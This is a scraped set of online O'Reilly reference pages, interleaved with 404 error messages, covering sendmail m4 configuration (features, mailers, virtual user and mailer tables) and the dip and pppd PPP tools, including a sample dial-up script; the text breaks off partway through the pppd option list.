The requested URL /e-book/oreillybookself/tcpip/smdref/ch03_05.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/tcpip/smdref/ch03_06.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/tcpip/smdref/ch03_07.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/tcpip/smdref/ch03_08.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/tcpip/smdref/ch03_09.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


[Chapter 3] 3.10 Hints

sendmail Desktop Reference

sendmail Desktop ReferenceSearch this book
Previous: 3.9 The User Database Chapter 3
Databases 		Next: 4. Configuring with m4

3.10 Hints

-f and -N

Must match between the configuration file's K line and the command-line run to execute makemap(1). But note that in most cases you probably don't want to use either switch.

text class

Lookups on heavily loaded systems can be very slow. They can also be slow when the text file is extremely large. In either instance try to convert to an ndbm- or db-style database.

Previous: 3.9 The User Database | sendmail Desktop Reference | Next: 4. Configuring with m4
3.9 The User Database |  | 4. Configuring with m4


[Chapter 4] Configuring with m4

sendmail Desktop Reference

sendmail Desktop ReferenceSearch this book
Previous: 3.10 Hints Chapter 4 Next: 4.2 FEATURE Declarations

4. Configuring with m4

Contents:
Special Local Parameters
FEATURE Declarations
MAILER Declarations
Virtual User Tables
Mailer Tables
Hints

A configuration file is generated from an m4 source file (e.g., one named our.mc) in the cf/cf sendmail source tree like this:

m4  ../m4/cf.m4 our.mc > sendmail.cf

To use a directory other than ../m4, use:

m4 -D_CF_DIR_=path/ path/m4/cf.m4 our.mc >
  sendmail.cf

Here, path is the full path to the m4/cf.m4 file. The our.mc source may contain the following lines (in this order):

OSTYPE(os)
DOMAIN(domain)
                        <-  declare local parameters using
                         define here
FEATURE(feature)        <-  can be several
MAILER(agent)           <-  can be several
                        <-  local rule set declarations here

Thus, a minimal file would declare the operating system and local delivery agent support with two lines like this:

OSTYPE(os)
MAILER(local)

In some cases you may see lines terminated with dnl, which means "delete to new line." Its use prevents extra blank lines from appearing in the output. It is almost never required. For more details about the m4 technique in general, see §19.2.

OSTYPE

Causes support to be included from one of the files in the cf/ostype directory.

OSTYPE(os)

This sets defaults for your operating system from the file cf/ostype/os.m4 (as for example, sunos4.1.m4). If you want to change any of the defaults that come with your operating system's file, do so after declaring OSTYPE. (See §19.3.1).

DOMAIN

Collects together local paramater declarations for an (optional) administrative domain:

DOMAIN(domain)

Here, domain is the name of a file in the cf/domain directory. With the exception of the file called generic, you should create your own domain file (see §19.3.3).

local parameter declarations

Are (mostly) named confNAME, and most all cases are declared using the define directive:

define(`parameter_name', `value')

the parameter_names define options and macros (see Chapter 2, The sendmail.cf File). In some cases local parameters are declared using special macros; see the next section.

FEATURE

Supplies simple solutions to special needs. The FEATURE directive is described below.

MAILER

Causes support for delivery agents to be included. It must follow local parameter declarations because some of them change how a MAILER directive will be interpreted. MAILER is detailed following the features.

local rule set declarations

Allow you to easily add rules and rule sets to your configuration file. Each definition stands on a line by itself, and the lines following each are included in the appropriate place in the configuration file. For example: LOCAL_CONFIG to add general declarations (e.g., K configuration databases) that should go at the top of the configuration file (see §19.6.30); LOCAL_RULE_0 to add rules to rule set 0 (see §19.6.32); LOCAL_RULE_1 to add rules to rule set 1 (see §19.6.33); LOCAL_RULE_2 to add rules to rule set 2 (see §19.6.34); LOCAL_RULE_3 to add rules to rule set 3 (see §19.6.35); and LOCAL_RULESETS to declare entirely new rule sets, such as check_relay (see §19.6.36). Also select from: LOCAL_NET_CONFIG (used in conjunction with LOCAL_RELAY) to add rules that tell what addresses should not be forwarded to the relay (see §19.6.37); and MAILER_DEFINITIONS to define new delivery agents and the rule sets associated with them (see §19.6.40).

4.1 Special Local Parameters

These lines should go in the DOMAIN file or before FEATURE declarations (because they precondition certain features).

EXPOSED_USER(user)

(Used with MASQUERADE_AS) tells what users should not be masqueraded (see §19.6.4).

GENERICS_DOMAIN(domain)

Lists the names of domains that will be looked up with the genericstable feature. Declare one domain per line. There may be several such lines.

GENERICS_DOMAIN_FILE(file)

Specifies the file that contains the domains that will be looked up with the generic\%stable feature.

MASQUERADE_AS(domain)

Causes all outgoing addresses to be rewritten as though they came from the indicated domain (see §19.6.42).

MASQUERADE_DOMAIN(domain)

Specifies additional domains that will be translated into the MASQUERADE_AS domain. See also the limited_masquerade feature (see §19.6.43).

MASQUERADE_DOMAIN_FILE(file)

Specifies the name of the file that contains a list of domains that will be masqueraded (see §19.6.44).

Previous: 3.10 Hints | sendmail Desktop Reference | Next: 4.2 FEATURE Declarations
3.10 Hints |  | 4.2 FEATURE Declarations


[Chapter 4] 4.2 FEATURE Declarations

sendmail Desktop Reference

sendmail Desktop ReferenceSearch this book
Previous: 4.1 Special Local Parameters Chapter 4
Configuring with m4 		Next: 4.3 MAILER Declarations

4.2 FEATURE Declarations

In addition to minimal support, many handy features can be included with a line like:

FEATURE(feature)

Here, feature is selected from those listed below. Some accept additional arguments. See cf/README, and §19.3.4, for details.

allmasquerade

Causes the MASQUERADE_AS host to replace all header-recipient addresses too (see §19.6.6).

always_add_domain

Tells sendmail to always append the local domain to addresses that lack a domain part, even if the recipient is local (see §19.6.7).

bestmx_is_local

Accepts a hostname as local if the best MX record for that host is found in the class $=w (see §19.6.8).

bitdomain

Includes rules that support an external database for converting BITNET addresses into Internet addresses (see §19.6.9).

domaintable

Allows use of multiple domain names during a transition period (see §19.6.10).

genericstable

Includes rules that support use of a User Database-like facility to change sender addresses so that senders can be delivered to new hosts (see §19.6.11).

limited_masquerade

Specifies that only hosts declared with MASQUERADE_DOMAIN and MASQUERADE_DOMAIN_FILE may be masqueraded (see §19.6.12).

local_procmail

Includes rules that allow procmail(1) to be used as the local delivery agent (see §19.6.13).

mailertable

Includes rules that support a database that maps host.domain names to special delivery agents and new domain name pairs. Essentially it provides a database hook into rule set 0. The new domain names are used for routing but are not reflected in the headers of messages (see §19.6.14).

masquerade_entire_domain

Causes all hosts under any domains declared by MASQUERADE_DOMAIN or MASQUERADE_ DOMAIN_FILE to be masqueraded. Ordinarily, masquerading only transforms hosts from a list of hosts in the class $=w (see §19.6.15).

masquerade_envelope

Causes the envelope to be masqueraded too. Ordinarily, masquerading only affects the headers (see §19.6.16).

nocanonify

Prevents sendmail from passing addresses to $[ and $] for canonicalization. Ordinarily, as part of rule set 3, sendmail tries to canonify (add a domain to) any hostname that lacks a domain part (see §19.6.17).

nodns

Once caused DNS support to be excluded from the configuration file, but now does nothing. Deprecated; use the ServiceSwitchFile instead (see §19.6.18).

nouucp

Excludes UUCP support from the configuration file (see §19.6.19).

nullclient

Produces a minimal configuration file that can only forward mail to a mail hub machine (see §19.6.20).

redirect

Adds support for address.REDIRECT forms of addresses. This is chiefly used to bounce retired-account mail with useful forwarding information (see §19.6.21).

smrsh

Cause smrsh(1) (sendmail restricted shell) to be used in place of /bin/sh as the shell for the prog delivery agent (see §19.6.22).

stickyhost

Causes all addresses without a host part to be forwarded to a central mail server, while allowing those with a local host part to remain on the local machine and be delivered in the usual local way (see §19.6.24).

use_ct_file

Causes a list of trusted users to be read from the /etc/sendmail.ct file (see §19.6.25).

use_cw_file

Causes a list of local hostnames to be read from the /etc/sendmail.cw file (see §19.6.26).

uucpdomain

Includes rules that cause hostnames of the form host.UUCP to be looked up in a database. If found, they are rewritten to an @host form as specified in that database (see §19.6.27).

virtusertable

Maps virtual (possibly nonexistent) domains into new addresses. Note that this reroutes delivery, but does not change the mail headers (see §19.6.28).

Previous: 4.1 Special Local Parameters | sendmail Desktop Reference | Next: 4.3 MAILER Declarations
4.1 Special Local Parameters |  | 4.3 MAILER Declarations


[Chapter 4] 4.3 MAILER Declarations

sendmail Desktop Reference

sendmail Desktop ReferenceSearch this book
Previous: 4.2 FEATURE Declarations Chapter 4
Configuring with m4 		Next: 4.4 Virtual User Tables

4.3 MAILER Declarations

Delivery agents are declared using the MAILER directive:

MAILER(agent)

The available agents are listed in the cf/mailer directory (see §19.3.2). For example, consider:

MAILER(local)
MAILER(smtp)

Here, the first includes support for local delivery, delivery to files, and delivery through programs. The second allows the sendmail daemon to accept incoming mail.

cyrus

Declares cyrus for delivery to the Cyrus IMAP4 server, and cyrusbb for delivery to a Cyrus bulletin board.

fax

Declares fax for delivery to a mail-to-fax gateway.

local

Declares local for delivery to a local mailbox and prog for delivery through a shell program.

mail11

Declares mail11 for delivery to a DECnet/mail11 gateway.

phquery

Declares ph, which uses the phquery program to send to the ph directory service.

pop

Declares pop for delivery through the MH spop program.

procmail

Declares procmail for delivery using the procmail program.

smtp

Declares smtp, which handles SMTP mail; esmtp, which always speaks ESMTP instead of adapting on the basis of the greeting message; smtp8, which always uses sends-8-bit data directly; and relay, which uses SMTP with minimal rewriting and only works within a single domain.

usenet

Declares usenet for delivery to a mail-to-news gateway.

uucp

Declares uucp-old, uucp-new, uucp-uudom, and uucp-dom. Use uucp-old if your peers are running very old (V7) versions of UUCP. Use uucp-new if they are running a newer version (e.g., honey danber) but don't understand domain-based addressing. Use uucp-uudom if your peers use UUCP addresses (e.g., host!user) in the envelope, but domain-based addresses (user@host.domain) in the headers. Use uucp-dom if your peers are completely converted to domain-based addressing. The last two are only defined if MAILER(smtp) is declared before MAILER(uucp).

Previous: 4.2 FEATURE Declarations | sendmail Desktop Reference | Next: 4.4 Virtual User Tables
4.2 FEATURE Declarations |  | 4.4 Virtual User Tables


[Chapter 4] 4.4 Virtual User Tables

sendmail Desktop Reference

sendmail Desktop ReferenceSearch this book
Previous: 4.3 MAILER Declarations Chapter 4
Configuring with m4 		Next: 4.5 Mailer Tables

4.4 Virtual User Tables

When using FEATURE(virtusertable), sendmail will do translation based on the entire domain name when the address is first read. This is similar, but not identical, to aliasing. It is commonly used to host multiple domains with different (and possibly even overlapping) users on one machine using MX records. The format of the input file (e.g., /etc/virtusertable) is:

[virtuser]@virtdomain   address

For example, an input file might read:

info@foo.com    foo-info
info@bar.com    bar-info
john@foo.com    jdoe
jane@foo.com    jroe@elsewhere.com
@bar.com        mary

The first two entries translate info@foo.com and info@bar.com into different names, which may be user names or aliases. The third and fourth entries alias users to other names. The fifth entry says that anything@bar.com that wasn't otherwise recognized should go to mary.

You build the database from the input file using the makemap(1) program:

% makemap hash /etc/virtusertable < /etc/virtusertable

You declare the database for use with your .mc file, like this:

FEATURE(virtusertable, hash /etc/virtusertable)

Previous: 4.3 MAILER Declarations | sendmail Desktop Reference | Next: 4.5 Mailer Tables
4.3 MAILER Declarations |  | 4.5 Mailer Tables


[Chapter 4] 4.5 Mailer Tables

sendmail Desktop Reference

sendmail Desktop ReferenceSearch this book
Previous: 4.4 Virtual User Tables Chapter 4
Configuring with m4 		Next: 4.6 Hints

4.5 Mailer Tables

Mailer tables are a simple way of directing messages to different Mail Delivery Agents (MDAs) on the basis of host or domain names. For example, consider this input file (e.g., /etc/mailertable):

remote.foo.com  uucp-uudom:home
.skunkworks.foo.com   relay:secret.foo.com

Here the first line says that anything addressed to user@remote.foo.com should be sent using the uucp-uudom deilvery agent to the host named home. The second line says that any message addressed to any host within the domain .skunkworks.foo.com should be sent using the relay delivery agent to the host secret.foo.com.

You can build the database from the input file using the %makemap(1) program:

% makemap hash /etc/mailertable < /etc/mailertable

You declare the database for use with your .mc file, like this:

FEATURE(mailertable, hash /etc/mailertable)

Previous: 4.4 Virtual User Tables | sendmail Desktop Reference | Next: 4.6 Hints
4.4 Virtual User Tables |  | 4.6 Hints


[Chapter 4] 4.6 Hints

sendmail Desktop Reference

sendmail Desktop ReferenceSearch this book
Previous: 4.5 Mailer Tables Chapter 4
Configuring with m4 		Next: 5. Additional Information Sources

4.6 Hints

  • Always test your newly generated configuration file with sendmail's (-bt) rule-testing mode. Run a series of predetermined addresses through the /parse command and look for any discrepencies that look odd.

  • Make sure your DOMAIN file does not define operating system-dependent parameters. It should contain parameter and FEATURE declarations that you want all the machines in your domain to share. For example, if you want to include FEATURE(redirect) or FEATURE(nouucp), declare them in your DOMAIN file for consistency across all hosts in your domain.

  • A new binary should always be accompanied by a new configuration file. Whenever you build a new version of sendmail, be sure to also create a new configuration file with the m4 technique.

Previous: 4.5 Mailer Tables | sendmail Desktop Reference | Next: 5. Additional Information Sources
4.5 Mailer Tables |  | 5. Additional Information Sources


[Chapter 5] Additional Information Sources

sendmail Desktop Reference

sendmail Desktop ReferenceSearch this book
Previous: 4.6 Hints Chapter 5

5. Additional Information Sources

No reference this tiny can contain all the information you need. The sendmail source comes with many useful documents.

RELEASE_NOTES

Describes all the changes that have occured from version to version.

READ_ME

Tells what is where in the source tree and gives a few cautionary general announcements.

src/READ_ME

Describes how to edit Makefile, and how to build and install sendmail.

cf/README

Describes how to create a configuration file using the m4 technique.

doc/op

Contains the Installation and Operations Guide. This directory contains the -me source and printer-ready PostScript.

FAQ

Included with the source, is deprecated. Instead look for the most current FAQ that is periodically posted to the Usenet newsgroups comp.mail.sendmail and comp.answers. A link to the latest archived FAQ can be found at http://www.sendmail.org.

In addition to these documents supplied with the source, you can always find the most up-to-the-minute information at http://www.sendmail.org.

Previous: 4.6 Hints | sendmail Desktop Reference
4.6 Hints |


sendmail Desktop Reference

By Bryan Costales & Eric Allman; ISBN 1-56592-278-6, 74 pages.
First Edition, March 1997.
(See the catalog page for this book.)

Search the text of sendmail Desktop Reference.

Table of Contents

Preface
Chapter 1: How to Run
Chapter 2: The sendmail.cf File
Chapter 3: Databases
Chapter 4: Configuring with m4
Chapter 5: Additional Information Sources

The Networking CD Bookshelf Navigation The Networking CD BookshelfDNS & BINDTCP/IP Network AdministrationsendmailBuilding Internet FirewallsPractical UNIX & Internet Security

Copyright © 1999 O'Reilly & Associates. All Rights Reserved.


Preface

Contents:
V8.8 Specific
Conventions

V8.8 Specific

The sendmail program is a Mail Transport Agent (MTA). It accepts mail from Mail User Agents (MUAs), mail users (humans), and other MTAs. It then delivers that mail to Mail Delivery Agents (MDAs) on the local machine, or transports that mail to another MTA at another machine. The behavior of sendmail is determined by its command line and by commands in its configuration file.

The sendmail program is written and maintained by Eric Allman at sendmail.org. Versions V8.7 and earlier are no longer supported and are no longer considered secure. If you are not currently running V8.8, we recommend you upgrade now. This Desktop Reference covers sendmail version 8.8.5.

This Desktop Reference is a companion to the second edition of the sendmail book by Bryan Costales with Eric Allman, published by O'Reilly & Associates. Section numbers herein reference the section numbers in that book. This is a reference guide only - for detail or tutorial information, refer to the full sendmail book.

sendmail Desktop Reference | Next: Conventions
 | Conventions


[Preface] Conventions

sendmail Desktop Reference

sendmail Desktop ReferenceSearch this book
Previous: V8.8 Specific Preface Next: 1. How to Run

Conventions

Bold

Denotes that you enter the text literally.

Italic

Means variable text, i.e., things you must fill in.

Constant width

Is a keyword with a special meaning.

this(1)

Refers to the online manual for a program.

[...]

Denotes a range of optional selections you may make.

Previous: V8.8 Specific | sendmail Desktop Reference | Next: 1. How to Run
V8.8 Specific |  | 1. How to Run


[Appendix A] PPP Tools

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 13.7 Summary Appendix A Next: A.2 The PPP Daemon

A. PPP Tools

Contents:
Dial-Up IP
The PPP Daemon
chat

This appendix is a reference for dip, pppd, and chat. These tools are used to create dial-up IP connection for the Point to Point Protocol (PPP). dip and chat are both scripting languages. Creating a script that initializes the modem, dials the remote server, logs in, and configures the remote server is the biggest task in configuring a PPP connection. Chapter 6, Configuring the Interface , provides examples and tutorial information about all three of the programs covered here. This appendix provides a reference to the programs.

A.1 Dial-Up IP

dip is a scripting tool designed specifically for creating SLIP and PPP connections. [1] The syntax of the dip command is:

[1] Serial Line IP (SLIP) predates PPP. Today most serial connections are PPP, which is what this appendix emphasizes.

dip [options] [scriptfile]

The dip command is invoked with either an option set or a script file specified, or with both. When scriptfile is specified, dip executes the commands contained in the script file to create a point-to-point connection. Examples of scripts and dip are shown in Chapter 6. The options valid with script files are:

-v

Runs dip in verbose mode. In this mode, dip echos each line of the script file as it is executed, and displays enhanced status messages.

-m mtu

Sets the Maximum Transmission Unit (MTU) to the number of bytes specified by mtu. The default MTU is 296 bytes.

-p proto

Selects the serial line protocol. Possible values for proto are: SLIP, CSLIP, PPP, or TERM.

The other dip command line options are:

-k

Kills the last dip process you started. You can only kill a process you own, unless of course you're root.

-l device

Identifies that the process to be killed is the one that has locked the specified device. This option is only valid when used with the -k option.

-i [username]

Runs dip as a login shell to provide a PPP or SLIP server. The diplogin command is equivalent to dip -i. These two forms of the command are used interchangeably, but diplogin is the most common form. diplogin is placed in the login shell field of the /etc/passwd file entry for each PPP client. From there it is run by login. The username from the /etc/passwd file is used to retrieve additional configuration information from /etc/diphosts. If the optional username is specified with the diplogin command, that username is used to retrieve the information from the /etc/diphosts file. Chapter 6 provides a tutorial and examples of running diplogin to create a PPP server, and of using the /etc/diphosts file.

-a

Prompts for the username and password. The -a option is valid only when used with the -i option. The diplogini command is equivalent to dip -i -a. diplogini is used as a login shell in the /etc/passwd file where it is run by login. Runs dip in test mode, which allows you to input individual script language commands directly from the keyboard. The -t option is frequently used in combination with -v so that the result of each command can be better observed. As shown in Chapter 6, this option is used to debug a dip script.

diplogin and diplogini are used only on servers and are not used with a script file. The script file is used on the PPP clients when dip is configured to dial into a remote server. The script file contains the instructions used to do this.

A.1.1 The dip Script File

The script file is made up of comments, labels, variables, and commands. Any line that begins with a sharp sign (#) is a comment. A label is a line that contains only a string ending in a colon. Labels are used to divide the script into separate procedures. For example, the section of the script that dials the remote host might begin with the label:

Dial-in:

A variable stores a value. A variable name is a string that begins with a dollar sign ($). You might, for example, create a variable to hold a loop counter and give it the name $loopcntr. It is possible to create your own variables, but this is rarely done. The variables that are used in most scripts are the special variables defined by dip. Table 13.1 lists the special variables and the value that each holds.

Table A.1: dip Special Variables
Variable | Value Stored
$errlvl | The return code of the last command
$locip | The IP address of the local host
$local | The fully qualified domain name of the local host
$rmtip | The IP address of the remote host
$remote | The fully qualified domain name of the remote host
$mtu | The Maximum Transmission Unit in bytes
$modem | The modem type; currently this must be HAYES
$port | The name of the serial device, e.g., cua0
$speed | The transmission speed of the port

The final component of the script file is the command list. There are many script commands. Because this appendix is a reference, we cover them all. However, most scripts are built using only a few of these commands. See the sample scripts in Chapter 6 and at the end of this section for realistic dip scripts. The complete list of script commands is:

beep [n]

Tells the system to beep the user. Repeat n times.

bootp

Tells the system to use the BOOTP protocol to obtain the local and remote IP addresses. This command applies only to SLIP. PPP has its own protocol for assigning addresses; SLIP does not. Usually SLIP addresses are statically set inside the script. However, some SLIP servers have evolved techniques for dynamic address assignment. The most common method is for the server to display the address as clear text immediately after the connection is made. Use the get $locip remote command to retrieve the address from this type of SLIP server. Other SLIP servers require you to send them a command before they will display the address. Put the required server command in the script and follow it with the get command. Finally, a few SLIP servers use BOOTP to distribute addresses. Use the bootp command in your script to enable BOOTP when it is required by your SLIP server. Sends a BREAK. Some remote servers may require a BREAK as an attention character.

chatkey keyword code

Maps a modem response keyword to a numeric code. The predefined mappings are:

0 OK
1 CONNECT
2 ERROR
3 BUSY
4 NO CARRIER
5 NO DIALTONE

config [interface|routing] [pre|up|down|post] arguments...

Modifies interface characteristics (interface) or the routing table (routing) either before (pre) the link comes up, when it is up, when it goes down, or after (post) the link is shutdown. For example:

config up routing add canary gw ibis

adds a route to canary using ibis as the gateway when the link is up. Allowing users to modify the routing table or interface characteristics is very dangerous. The config command is disabled in the DIP code and requires re-compilation to be enabled.

databits 7|8

Sets the number of data bits to 7 or 8. 8 bits is recommended for PPP and SLIP links.

dec $variable [value]

Decrements $variable by value. The default value is 1.

default

Sets the PPP connection as the default route.

dial phonenumber [timeout]

Dials the phonenumber. If the remote modem does not answer within timeout seconds, the connection aborts. $errlvl is set to a numeric value based on the keyword returned by the local modem. Set chatkey for the keyword to numeric mappings.

echo on|off

Enables or disables the display of modem commands.

exit [n]

Exits the script, optionally returning the number n as the exit status. Clears the input buffer.

get $variable [ask | remote [timeout]] value

Sets $variable to value, unless ask or remote is specified. When ask is specified, the user is prompted for the value. When remote is specified, the value is read from the remote machine, optionally waiting timeout seconds for the remote system to respond.

goto label

Jumps to the section of the script identified by label.

help

Lists the dip script commands.

if expr goto label

A conditional statement that jumps to the section of the script identified by label if the expression evaluates to true. The expression must compare a variable to a constant using one of these operators: == (equal), != (not equal), < (less than), > (greater than), <= (less than or equal to), >= (greater than or equal to).

inc $variable [value]

Increments $variable by value. The default value is 1.

init command

Sets the command string used to initialize the modem. The default is ATE0 Q0 V1 X1.

mode SLIP|CSLIP|PPP|TERM

Selects the serial protocol. The default is SLIP.

modem type

Sets the modem type. Ignore this command. The only legal value is HAYES, and that is the default.

netmask mask

Sets the subnet mask.

parity E|O|N

Sets the parity to even (E), odd (O), or no (N). No parity (N) is recommended for SLIP and PPP links. Prompts the user for the password. Installs a proxy ARP entry for the remote system in the local host's ARP table.

print $variable

Displays the contents of $variable.

psend command

Executes command through the default shell passing the output to the serial device. The command runs using the user's real UID.

port device

Identifies the serial device, such as cua0, that attaches the modem. Exits the script with a nonzero exit status, aborting the connection. Resets the modem.

send string

Passes string to the serial device.

shell command

Executes command through the default shell. The command runs using the user's real UID.

skey [timeout]

Waits for an S/Key challenge from the remote terminal server, prompts the user for the secret key, and generates and sends the response. Waits timeout seconds for the challenge. If the timer expires, $errlvl is set to 1; otherwise, it is set to 0. S/Key must be compiled into dip.

sleep time

Delays time seconds.

speed bits-per-second

Sets the port speed. The default is 38400.

stopbits 1|2

Sets the number of stop bits to 1 or 2. Enables terminal mode. In terminal mode, keyboard input is passed directly to the serial device.

timeout time

Sets the time in seconds that the line is allowed to remain inactive. When this timer expires, the link is closed.

wait text [timeout]

Waits timeout seconds for the text string to arrive from the remote system. If timeout is not specified, the script will wait forever.

In the next section we put some of these commands to work in a realistic script.

A.1.1.1 A sample dip script

This script is based on the PPP sample from Chapter 6. Labels and error detection have been added to create a more robust script.

# Select configuration settings
setup:
# Ask PPP to provide the addresses
get $local 0.0.0.0
# Select the port
port cua1
# Set the port speed
speed 57600
# Create a loop counter
get $loopcntr 0

# Dial the remote server
dialin:
# Reset the modem and clear the input buffer
reset
flush
# Dial the PPP server and check the modem response
dial *70,301-555-1234
# If BUSY, dial again
if $errlvl == 3 goto redial
# If some other error, abort
if $errlvl != 1 goto dial-error
# Otherwise rest loop counter
get $loopcntr 0
# Give the server 2 seconds to get ready
sleep 2

# Login to the remote server
login:
# Send a carriage-return to wake up the server
send \r
# Wait for the Username> prompt and send the username
wait name> 20
if $errlvl != 0 goto try-again
send kristin\r
# Wait for the Password> prompt and send the password
wait word> 10
if $errlvl != 0 goto server-failure
password
# Wait for the PPP server's command line prompt
wait > 20
if $errlvl != 0 goto server-failure
# Send the command required by the PPP server
send ppp enabled\r

# Success! We're on-line
connected:
# Set the interface to PPP mode
mode PPP
# Exit the script
exit

# Error processing routines

# Try dialing 3 times.  Wait 5 seconds between attempts
redial:
inc $loopcntr
if $loopcntr > 3 goto busy-failure
sleep 5
goto dialin

# Try a second carriage return
try-again:
inc $loopcntr
if $loopcntr > 1 goto server-failure
goto login

dial-error:
print Dial up of $remote failed.
quit

server-failure:
print $remote failed to respond.
quit

busy-failure:
print $remote is busy.  Try again later.
quit

This script provides a realistic example of the commands used in most scripts. However, you may encounter a particularly tough scripting problem. If you do, the abundance of scripting commands available with dip should be able to handle it. If dip can't do the job, try expect. See Exploring Expect by Don Libes (O'Reilly &amp;amp;amp;amp; Associates) for a full description of the expect scripting language.

Previous: 13.7 Summary | TCP/IP Network Administration | Next: A.2 The PPP Daemon
13.7 Summary | Book Index | A.2 The PPP Daemon


[Appendix A] A.2 The PPP Daemon

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: A.1 Dial-Up IP Appendix A
PPP Tools 		Next: A.3 chat

A.2 The PPP Daemon

The PPP Daemon (pppd) is a freely available implementation of the Point-to-Point Protocol (PPP) that runs on many UNIX systems. Examples of configuring and using pppd are covered in Chapter 6. The syntax of the pppd command is:

pppd [device] [speed] [options]

device is the name of the serial port over which the PPP protocol operates and speed is the transmission speed of that port in bits per second. The complexity of this command comes not from these simple parameters but from the large number of options that it supports. There are so many options, in fact, that they are often stored in a file. There are three options files that can be used with pppd: the /etc/ppp/options file, which is used to set system-wide pppd options; the ~/.ppprc file, which is used by an individual to set personal pppd options, and the /etc/ppp/options.device file, which sets options for a serial device, e.g., /etc/ppp/options.cua0 sets options for cua0. The order of precedence for options is that those specified in the /etc/ppp/options.device file are the highest priority, followed by those defined on the command line, then those in the ~/.ppprc file, and, finally, those defined in the /etc/ppp/options file. Some options that relate to system security, once defined in the /etc/ppp/options file, cannot be overridden by the user through the command line or the ~/.ppprc file. The system administrator can override any option set by the user by setting the option in the /etc/ppp/options.device file.

The following list contains all of the pppd options except those that do not relate to TCP/IP:

local_IP_address:remote_IP_address

Defines static local and remote IP addresses. Either address may be omitted. For example: 172.16.25.3: defines only the local address, while :172.16.25.12 defines only the remote address. The default local address is the IP address associated with the local system's hostname.

-ac

Disables Address/Control compression negotiation.

-all

Disables all LCP and IPCP negotiations.

-am

Disables asyncmap negotiation. Sends all control characters as two-character escape sequences.

asyncmap map

Defines the ASCII control characters that must be sent as two-character escape sequences. The first 32 ASCII characters are control characters. map is a 32-bit hex number with each bit representing a control character. Bit 0 (00000001) represents the character 0x00; bit 31 (80000000) represents the character 0x1f. If a bit is on in map, the character represented by that bit must be sent as an escape sequence. If no asyncmap option is specified, all control characters are sent as escape sequences. The asyncmap option can also be written in the form -as map.

auth

Requires the use of an authentication protocol. See Chapter 6 for a discussion of the authentication protocols CHAP and PAP.

bsdcomp receive,transmit

Enables the BSD-Compress scheme to compress packets. The maximum length code word used to compress packets accepted by this host is receive bits long. The maximum code word length used to compress packets sent by this host is transmit bits long. Acceptable code word length is 9 to 15 bits. Disable compression when receiving or transmitting by placing a 0 in receive or transmit, respectively.

-bsdcomp

Disables BSD-Compress compression.

+chap

Requires the use of the Challenge Handshake Authentication Protocol (CHAP).

-chap

Disables the use of CHAP. This is a bad idea.

chap-interval

Tells system to use CHAP to reauthenticate the remote system every n seconds.

chap-max-challenge n

Tells system to send the CHAP challenge to the remote system a maximum of n times until the remote system responds. The default is 10.

chap-restart n

Tells system to wait n seconds before retransmitting a CHAP challenges when the remote system fails to respond. The default is 3 seconds.

connect script

Invokes a script to create the serial connection. Any scripting language can be used, but chat is the most common. See Chapter 6 for an example of using connect to invoke an inline chat script.

crtscts

Enables hardware flow control (RTS/CTS).

-crtscts

Disables hardware flow control (RTS/CTS).

debug

Logs all control packets sent or received using syslogd with facility daemon and level debug. The debug option can also be written as -d.

defaultroute

Defines the PPP link as the default route. The route is removed when the connection is closed.

-defaultroute

Prevents users from creating a default route using the defaultroute option.

-detach

Prevents pppd from running as a background process. See the example in Chapter 6.

disconnect script

Invokes a script to gracefully shut down the serial connection. Any scripting language can be used, but chat is the most common.

domain name

Defines the name of the local domain. Use this if hostname does not return a fully qualified name for the local system.

escape x,x,...

Specifies characters that should be transmitted as two-character escape sequences. The characters are specified in a comma-separated list of hex numbers. Any character except 0x20 - 0x3f and 0x5e can be escaped.

file file

Defines another options file, where file is the name of the new file. Options are normally read for /etc/ppp/options, ~/.ppprc, the command line, and /etc/ppp/options.device. See the description of these files earlier in this section.

-ip

Disables IP address negotiation. When used, the remote IP address must be explicitly defined by a pppd option.

+ip-protocol

Enables the IPCP and IP protocols, which is the default.

-ip-protocol

Disables the IPCP and IP protocols. This should never be used on a TCP/IP network. It is for pure IPX networks.

ipcp-accept-local

Tells system to use the local IP address provided by the remote server even if it is defined locally.

ipcp-accept-remote

Tells system to use the remote IP address provided by the remote server even if it is defined locally.

ipcp-max-configure n

Tells system to send the IPCP configure-request packet a maximum of n times. The default is 10.

ipcp-max-failure n

Tells system to accept up to n IPCP configure-NAKs before sending a configure-reject. The default is 10.

ipcp-max-terminate n

Tells system to send no more than n IPCP terminate-request packets without receiving an acknowledgment. The default is 3.

ipcp-restart n

Tells system to wait n seconds before resending an IPCP configure-request packet. The default is 3.

ipparam string

Passes string to the ip-up and ip-down scripts. /etc/ppp/ip-up is a shell script executed by pppd when the link comes up. /etc/ppp/ip-down is a shell script executed by pppd when the link is brought down.

kdebug n

Enables kernel-level debugging. n is 1 to print general debugging messages, 2 to print received packets, and 4 to print transmitted packets.

lcp-echo-failure n

Tells system to terminate the connection if no reply is received to n LCP echo-requests. Normally echo-requests are not used for this purpose because "link down" conditions are determined by the modem hardware.

lcp-echo-interval n

Tells system to wait n seconds before sending another LCP echo-request when the remote system fails to reply.

lcp-max-configure n

Tells system to send the LCP configure-request packet a maximum of n times. The default is 10.

lcp-max-failure n

Tells system to accept up to n LCP configure-NAKs before sending a configure-reject. The default is 10.

lcp-max-terminate n

Tells system to send no more than n LCP terminate-request transmissions without receiving an acknowledgment. The default is 3.

lcp-restart n

Tells system to wait n seconds before resending a LCP configure-request packet. The default is 3.

local

Tells system to ignore the DCD (Data Carrier Detect) and DTR (Data Terminal Ready) modem control lines.

lock

Tells system to use a UUCP-style lock file to ensure that pppd has exclusive access to the serial device.

login

Tells system to use the /etc/passwd file to authenticate PAP users. Records the login in the wtmp file.

modem

Tells system to use the DCD (Data Carrier Detect) and DTR (Data Terminal Ready) modem control lines; wait for the DCD signal before opening the serial device; and drop the DTR signal when terminating a connection.

-mn

Disables magic number negotiation.

mru n

Sets the Maximum Receive Unit (MRU) to n bytes. MRU is used to tell the remote system the maximum packet size the local system can accept. The minimum is 128. The default is 1500.

-mru

Disables Maximum Receive Unit (MRU) negotiation.

mtu n
